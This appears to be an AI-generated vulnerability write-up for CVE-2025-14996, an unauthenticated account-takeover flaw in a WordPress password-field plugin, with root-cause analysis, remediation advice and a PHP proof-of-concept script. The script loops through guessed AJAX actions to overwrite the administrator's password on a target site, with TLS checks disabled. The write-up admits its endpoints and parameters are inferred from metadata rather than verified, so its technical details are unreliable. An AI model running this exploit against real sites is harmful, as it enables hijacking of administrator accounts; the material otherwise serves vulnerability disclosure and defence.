Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14996: AS Password Field In Default Registration Form <= 2.0.0 – Unauthenticated Privilege Escalation via Account Takeover (as-password-field-in-default-registration-form)

Severity Critical (CVSS 9.8)
CWE 639
Vulnerable Version 2.0.0
Patched Version
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14996 (metadata-based):
This vulnerability is an unauthenticated privilege escalation via account takeover in the AS Password Field In Default Registration Form WordPress plugin. The vulnerability exists in all plugin versions up to and including 2.0.0. Attackers can change arbitrary user passwords, including administrators, without authentication. The CVSS 3.1 score of 9.8 reflects its critical network-accessible nature with no user interaction required.

Atomic Edge research identifies the root cause as CWE-639: Authorization Bypass Through User-Controlled Key. The plugin fails to verify a user’s identity before processing password change requests. This likely occurs because the plugin accepts a user identifier parameter (such as user ID or email) without performing proper authorization checks. The vulnerability description confirms the plugin does not validate user identity, but the exact vulnerable endpoint must be inferred from WordPress plugin patterns.

The exploitation method involves sending a crafted HTTP request to a plugin-specific endpoint. Based on WordPress plugin conventions, the vulnerable functionality likely resides in an AJAX handler or admin-post endpoint. Attackers would target `/wp-admin/admin-ajax.php` with an action parameter matching the plugin’s naming pattern. The payload would include parameters like `user_id` or `user_email` to specify the target account and `new_password` to set the attacker-controlled value. No authentication or nonce would be required.

Remediation requires implementing proper authorization checks before processing password changes. The plugin must verify the requesting user has permission to modify the target account. For self-service password changes, the plugin should confirm the current user matches the target account or that a valid password reset token exists. WordPress core functions like `current_user_can(‘edit_user’, $user_id)` or `wp_verify_nonce()` should be employed where appropriate.

Successful exploitation grants attackers complete control over any WordPress account. Administrative account takeover provides full site access, enabling theme/plugin modification, file uploads, user management, and data exfiltration. Attackers can establish persistent backdoors, deface websites, or inject malicious code. The vulnerability enables full site compromise from an unauthenticated starting position.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14996 - AS Password Field In Default Registration Form <= 2.0.0 - Unauthenticated Privilege Escalation via Account Takeover
<?php
/**
 * Proof of Concept for CVE-2025-14996
 * Assumptions based on CWE-639 and WordPress plugin patterns:
 * 1. The plugin exposes an AJAX endpoint for password changes
 * 2. The endpoint lacks authorization checks
 * 3. The endpoint accepts user identifier and new password parameters
 * 4. The plugin slug 'as-password-field-in-default-registration-form' maps to action names
 */

$target_url = 'https://example.com';

// Common WordPress AJAX endpoints for password-related functionality
$endpoints = [
    '/wp-admin/admin-ajax.php',
    '/wp-admin/admin-post.php'
];

// Possible action names derived from plugin slug
$possible_actions = [
    'as_password_field_update_password',
    'as_password_field_change_password',
    'as_password_field_reset_password',
    'as_password_field_save_password'
];

// Target user (administrator)
$target_user_id = 1;
$new_password = 'AtomicEdgePwned123!';

foreach ($endpoints as $endpoint) {
    foreach ($possible_actions as $action) {
        $url = $target_url . $endpoint;
        
        // Try POST parameters based on common WordPress patterns
        $post_data = [
            'action' => $action,
            'user_id' => $target_user_id,
            'new_password' => $new_password,
            'confirm_password' => $new_password
        ];
        
        // Alternative parameter names
        $alt_post_data = [
            'action' => $action,
            'user_email' => 'admin@example.com',
            'password' => $new_password,
            'password_confirm' => $new_password
        ];
        
        echo "Testing: {$url} with action={$action}n";
        
        // Test first parameter set
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'updated') !== false)) {
            echo "[SUCCESS] Password likely changed for user ID {$target_user_id}n";
            echo "Response: {$response}n";
            exit;
        }
        
        // Test alternative parameter set
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $alt_post_data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'updated') !== false)) {
            echo "[SUCCESS] Password likely changed for admin@example.comn";
            echo "Response: {$response}n";
            exit;
        }
    }
}

echo "[FAILURE] No vulnerable endpoint found with tested patternsn";
echo "Note: Actual endpoint/parameters may differ. Manual testing required.n";
?>

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